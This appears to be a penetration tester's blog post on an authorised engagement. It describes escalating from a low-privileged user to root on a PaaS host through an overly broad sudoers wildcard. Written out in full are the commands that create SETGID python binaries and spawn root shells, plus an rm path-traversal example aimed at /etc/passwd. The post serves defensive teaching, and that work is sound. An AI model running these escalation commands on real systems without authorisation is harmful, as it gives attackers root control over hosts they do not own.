
Adam Bell, Principal Security Consultant, Security Testing & Assurance Practice (STA)
While the bread and butter of work in the Security Testing and Assurance team comes in the form of web applications and API’s, work regularly crosses our desks that challenges our ability to identify security boundaries and the vulnerabilities that ensue. Whether it’s an in-flight entertainment system, a hydroelectric dam gate control or a luxury yacht’s satellite uplink…it’s something we have to wrap our heads around.
A Platform as a Service (PaaS) customer approached us to test a portion of their platform, where third parties were authorized to connect into a management host and run a limited number of shell commands. The customer was concerned about the potential for a user to perform vertical privilege escalation (to increase their privileges on the host, such as to the root user) and horizontal privilege escalation (moving laterally into other users PaaS instances).
The connection to the PaaS system used the Secure Shell (SSH) protocol, with certificate-based authentication. Once connected, a standard *nix shell was presented to the user.
One of the most common areas for privilege-escalation misconfigurations to live, in unix-like systems, is in the sudoers file. Sudo is a program that enables users to run programs with the security privileges of another user, by default the superuser (root). The sudoers file is a system configuration file which can be used to explicitly define what commands specific users can run, what user accounts these commands can be run as, and whether the user has to re-enter their password before the command will execute. As the sudoers file is only readable by the root user, our team reviewed the sudo privileges they had on the host with the following command:
$ sudo -P -l User low_priv may run the following commands on paas-host: (rfd) NOPASSWD: ALL (root) NOPASSWD: /bin/su - rfd (root) NOPASSWD: /bin/su - rfd -c * (rfd) SETENV: NOPASSWD: ALL (root) NOPASSWD: /usr/local/bin/drop-fs-caches (root) NOPASSWD: /sbin/initctl status rfd (root) NOPASSWD: /sbin/initctl stop rfd (root) NOPASSWD: /sbin/initctl restart rfd
Doesn’t look too bad, right? At first glance our low-privileged user can run any command as the rfd user without requiring a password. We can also use the su (switch user) binary as root to both change to the rfd user and to run a single command as the rfd user (using the -c switch). Finally, there are a number of static commands we can execute as the root user, to flush some caches and to stop/start/restart the rfd service. There was one line, however, that stuck out:
(root) NOPASSWD: /bin/su - rfd -c *
With this, we can use sudo to execute the su command to run a command of our choosing as the rfd user. The use of a wildcard is always something to investigate, and in this case it was overly broad. The *, intended here to mean “any command” is interpreted by sudoers [1] to mean “any set of zero or more characters (including white space)”. To this end, it can be used to add additional flags to the sudo command. After a quick read of the sudo [2] man page, the -g flag stood out as an exploitation path, by allowing us to set the group that a command is run as. If we can set the group to root and create a binary that is accessible to our low-privileged user with the SETGID flag set, then this binary would run in the context of the root group. The SETGID flag allows the binary to be run with the privileges of the group that owns the binary.
The following command was developed:
sudo /bin/su - rfd -c 'cp $(which python) /tmp/python; chmod g+s /tmp/python' -g root
This command su‘s to the rfd user with the group set to root, copies the python binary to the /tmp directory and sets the SETGID flag on this file. We can now use this python binary with the privileges of the rfd user, and the root group.
$ /tmp/python -c 'import os; os.execl("/bin/sh", "sh", "-p")' sh-4.2$ id uid=1282(low_priv) gid=1282(low_priv) egid=0(root) groups=0(root),1282(low_priv),2000(rfd) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Unfortunately, the root group (as opposed to the root user) doesn’t have a huge amount of execution privilege on a standard host. What it did have however, was a significant amount of privilege to read files on the filesystem. Using our python shell, we inspected the full contents of the sudoers file and saw that the sysadmin group had the ability to run any command without providing a password:
$ /tmp/python -c 'import os; os.execl("/bin/sh", "sh", "-p")' sh-4.2$ tail -f /etc/sudoers ops ALL=(ALL) NOPASSWD:ALL # Members of the group 'sysadmin' may gain root privileges %sysadmin ALL=(ALL) NOPASSWD:ALL # This is not a comment; see sudoers(5) for more information on "#include" directives #includedir /etc/sudoers.d
A quick trip back to our low-privileged user shell to create another python interpreter that was SETGID and owned by the sysadmin group:
sudo /bin/su - rfd -c 'cp $(which python) /tmp/python-sys; chmod g+s /tmp/python-sys' -g sysadmin
And now we can spawn a real root-privileged shell from our low-privileged position. Note the os.setregid() call is needed as sudo inspects the RGID (real group ID) value, not the EGID (effective group ID). EGID is set when running a SETGID binary, but the RGID is initially retained as that of the original calling user.
$ /tmp/python-sys -c 'import os; os.setregid(os.getegid(), os.getegid()); os.execl("/bin/bash", "bash", "-p", "-c", "sudo bash")' [root@paas-host:/]# id uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [root@paas-host:/]#
With our vertical privilege escalation achieved, it was a simple case of rummaging around the filesystem to find all the delicious secrets within to perform our horizontal escalation (but that’s probably a story for another time).
Conclusion
This vulnerability was reported to the client and remediated immediately, by removing the entire vulnerable line from the sudoers file.
As more general security advice, wildcards in sudoers are best avoided. Even in a more constrained example, such as:
(root) NOPASSWD: /bin/rm /usr/share/foo/bar/this/is/the/only/folder/you/can/delete/from/*
In this example, a user who supplies the following command:
sudo /bin/rm /usr/share/foo/bar/this/is/the/only/folder/you/can/delete/from/../../../../../../../../etc/passwd
could have significant impacts on the host.